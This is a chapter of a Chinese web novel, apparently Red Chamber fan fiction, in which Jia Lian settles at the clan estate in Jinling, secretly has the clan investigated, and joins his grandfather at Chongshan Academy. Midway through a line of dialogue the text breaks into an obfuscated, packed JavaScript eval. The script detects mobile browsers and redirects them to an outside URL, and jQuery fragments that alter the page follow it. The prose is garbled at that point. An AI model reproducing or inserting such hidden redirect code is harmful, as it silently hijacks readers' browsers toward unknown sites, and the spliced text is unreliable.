迎客宴吃的宾宜主欢，无论是老一辈还是年轻一辈，都对贾琏充满好感，若不是贾琏年纪尚小，早有人与他推杯换盏称兄道弟了。宴席将散的时候，与贾琏交谈甚欢的族兄贾瑃还主动请缨，带贾琏一行人回院安置。


    穿过垂花连廊，经过月亮拱门，再步行数十步，映入眼帘的就是希云苑了。


    朱红墙瓦在阳光下熠熠生辉，雕梁画栋处处是景，中间自带一汪池水与院外河流连通，房屋更是一眼望去都看不到有多大，粗略估算比他兴庆堂大了三倍有余。


    贾瑃介绍：“这是当年族内起新房时建的最大院落，族人均同意这间必须为你们留下，所以这些年一直空着，你还是第一位住进来的。”


    “承蒙族里照顾。”贾琏拱手，“其实不必大费周章，明日我们就启程去书院了。”


    “琏弟客气了，想我们贾府也算是金陵豪富，这些算不得甚。金陵城外以及苏州府那边族中置办的地产才更是宽敞堂皇，等之后书院放假，一同去玩才是美事。”


    贾琏含笑答应。


    “族长自听说你要来，日日派人来打扫，早早就给你备好常用之物，你看看合不合心意，不合心意给哥哥说，哥哥带你去买，顺带逛逛金陵，一尽地主之谊。”


    贾琏抬目扫过去，只看一些寻常起居之物，都是他在京城时常用的，屋内的摆设均是名师名作，小到喝水的琉璃盏，大到墙上的挂画，都是放在外面一件难求的珍品。


    “族中准备的极好，不用额外添置。”


    “行那就好，反正开学时日尚早，你再多留几日，有时间去逛的。”


    贾琏婉拒：“外祖父那边还未去请安。”


    贾瑃一拍脑袋：“是极是极，徐太傅想必也在书院等你，出去玩日后有的是机会。那哥哥不打扰了，你这一路舟车劳顿，好好休息。”


    “嗯。”贾琏目送贾瑃离开，走进西厢房内坐下，下人就送来了冰酪，是厨房刚做好就送过来的，冰凉透心正好解暑气。


    “都分了。”


    无双从房梁上跳下来：“主子，院落内外都已经探查了，除了院中一些洒扫下人，均无眼线。”


    “嗯。”贾琏拿起一碗冰酪品尝，吩咐福安：“你私下去打听族里有无触犯大雍律令的事情，若有，收集越多越好。”


    啊？福安还在埋头吃冰酪，一时没反应过来，刚刚少爷不是还跟族里亲友畅谈吃席，与族兄友好交谈的吗，怎么突然变脸要查他们了？


    傻样！游保挤开还在发愣的福安，主动上前要任务：“主子，这我强项，我去办。”


    贾琏挑眉一扫：“书都读完了？诗都会背了？进书院有把握了？”


    三连问给游保问白了脸，讪讪退让到一旁闭嘴。


    福安此时也反应过来了，连忙领命应是。


    同时他也在暗暗自责，少爷的吩咐照办就行，哪有那么多为什么，连比他小的游保都知道抢着做事，他还在呆愣疑惑，再这样下去，迟早会有其他人接替他的位置。


    贾琏倒是没想这么多，选福安是因为这次带出来的心腹不多，一切都要从零开始，游保和无双要入院读书，在外调查的人选只能是福安。


    其实若不是福安年纪超了，又实在不爱读书一道，否则福安也得进学院读书。


    况且族中之事他也不好插手过多，只是看着族内族外置办的房屋地产、名玩字画，心中惶惶，查查还是放心些。


    翌日，贾琏辞别族中长辈，前往崇山书院。


    刚到崇山书院门口，就看见许多大人带着自家孩童正在大排长队领取报名表，甚至还有人为了能早点拿到报名表随意插队，有人看不过去教训了两句，竟引发插队之人大打出手，最后守卫赶走，取消他家的入学资格。


    这件事情之后，再也没有人敢随意插队了。


    “琏弟，在这里。”侧面传出一个熟悉的声音，贾琏转头望去，正是他哥徐淮瀛高举双手摇他过去。


    他走过去问道：“哥，怎么报名的人这么多？”


    “你有所不知，这一次崇山书院招生门槛放的极低，既不限男女，也不要束脩，只要年纪在十岁以下，就能来免费入学，甚至还能拿奖学金补贴家用。这十里八乡的人家，可不就把自家孩子有一个算一个都拎过来，万一能通过入学考试就赚到了。”


    “原来如此。”


    “别在这儿站着了，我特意出来接你的，祖父祖母已经屋里等你呢。”徐淮瀛接过贾琏身上的行李，往前带路。“祖母亲自下厨做了好吃的哦，吸溜。”


    “这么馋，昨日没有吃到吗？”


    “嗐，别提了，昨日从船上下来我还有些水土不服，上吐下泻的差点给祖父祖母吓坏了，幸好吃过药休息一夜，今日一早大好能进食了，一会儿我可要大吃一顿。”


    贾琏心疼他哥：“行，不跟你抢，哥多吃点。”


    又转头看向离正门越来越远的路，“哥，这是去哪里？正门在这边。”


    徐淮瀛头都不回：“走正门等到天黑都进不去，放心，哥带你走小路。”


    绕过正门再沿小路前行，就是书院侧门，门口两侧均种植了大片大片的稻田，正是临近收获的季节，金黄色的稻穗沉甸甸的压在枝头上，露出喜人的长势，相比京城郊外庄子里靠着水车续命的那一小块稻田，稻穗明显长得更加饱满更加壮大，江南水土的确更适合种植水稻。


    一行人都为这秋日稻田图景惊叹停驻。


    “是不是种的很好，听说都是书院厨房种的，今后我们食堂吃的米都来自这片稻田。”徐淮瀛扛着行李，叉着腰站在田垄上，指着眼前的稻田跟贾琏介绍。


    贾琏点头认同，拉住跃跃欲试很想去稻田玩耍一番的哥哥：“的确长得很好，厨房能手很厉害，又能种地还能做饭，不过今日不早了，哥快点带路见外祖父外祖母啦。”


    “哎哎哎—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834021|172161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —”徐淮瀛半推半就的继续带路。


    从通幽小径穿过，映入眼帘的是几幢上了年头的房屋，青砖黛瓦透露出岁月的痕迹，碧绿的爬山虎爬满了外侧墙面，高高仰头沐浴阳光滋养，虽然略显简陋，但隐约中还有一种悠然田下的闲适恬淡。


    徐太傅早已打开院门，含笑站在门口望着家中的两个皮猴子归来。


    徐淮瀛和贾琏也不复刚刚在路上的调皮捣蛋、新鲜好奇的模样，一本正经的收敛表情，端正姿态换成翩翩世家公子的模样，老老实实的长辈请安。


    徐太傅：“淮瀛，琏哥儿回来了。”


    走进屋内才发觉，这房子不仅外面其貌不扬里面占地更小，总共只有两层小楼，院中空地一分为二，一半种花草，另一半种了小青菜、萝卜等各色时蔬，中间只留一条小路供人行走，几只小鸡正在横行霸道穿来穿去到处捉食，相较于昨日占满一整条街的贾府而言，可谓一个天一个地，就算相对于京城徐家的宅子也是简陋了不少。


    这坏境，知道的是来书院做院长的，不知道的还以为被流放了。


    徐淮瀛跟贾琏小声嘀咕：“我昨天跟你的想法是一样的，没办法，祖父说他们得身先士卒，给众位老师做个榜样，住在书院中也好及时回答学生们的问题，所以就没有在金陵置办家产。”


    “你俩在后面嘀嘀咕咕什么呢？”徐太傅转头问到。


    徐淮瀛立刻站直身体，摇摇头什么都没说。


    贾琏笑着回答：“没说什么，就是没想到崇山书院条件这么‘好’，竟然还有采菊东篱下的田园之趣。”


    “哈哈哈，你这小子，身在福中不知福，等开学你就知道这里有多好了。”徐太傅大笑，并不说透，徒留两个小子在想这里有哪好？


    徐淮瀛杵杵弟弟：什么意思？


    贾琏更是一头雾水：我刚来不懂啊，还想问你呢。


    “开饭啦，快去洗手！”徐老太太亲自端着菜出来，“有淮瀛爱吃的芙蓉鸭，还有琏哥儿爱吃的八珍鳜鱼汤。”


    “来啦来啦。”管外祖父说的啥意思呢，入席就坐，甩开膀子开造。


    这顿饭两人均是吃的痛快，徐淮瀛是肚子真饿了，正是长身体的时候又在运河上飘荡几十天，筷子一刻不停的提起落下。


    贾琏昨日虽然在贾府吃的也是珍馐佳肴，但应付人情往来，认识族中长辈互相攀谈也需要耗费精力，如此吃饭自然也没什么胃口，到了外祖父这边，他才真的有回家的感觉，有亲人再侧，万事长辈在上面顶着，他只需要好好吃饭即可，心中踏实满足。


    半大小子吃穷老子，这句虽俗却是真事，有两个小伙子一同吃饭，桌面上的菜盘都能清空，相较于之前徐太傅他们两人冷清吃饭，热闹多了。


    徐老太太满脸笑意，不停给孙辈夹菜，徐太傅也被孙辈的吃相感染，一向养生的他还多添了半碗饭。


    吃完饭，祖孙三人一同在院中消食。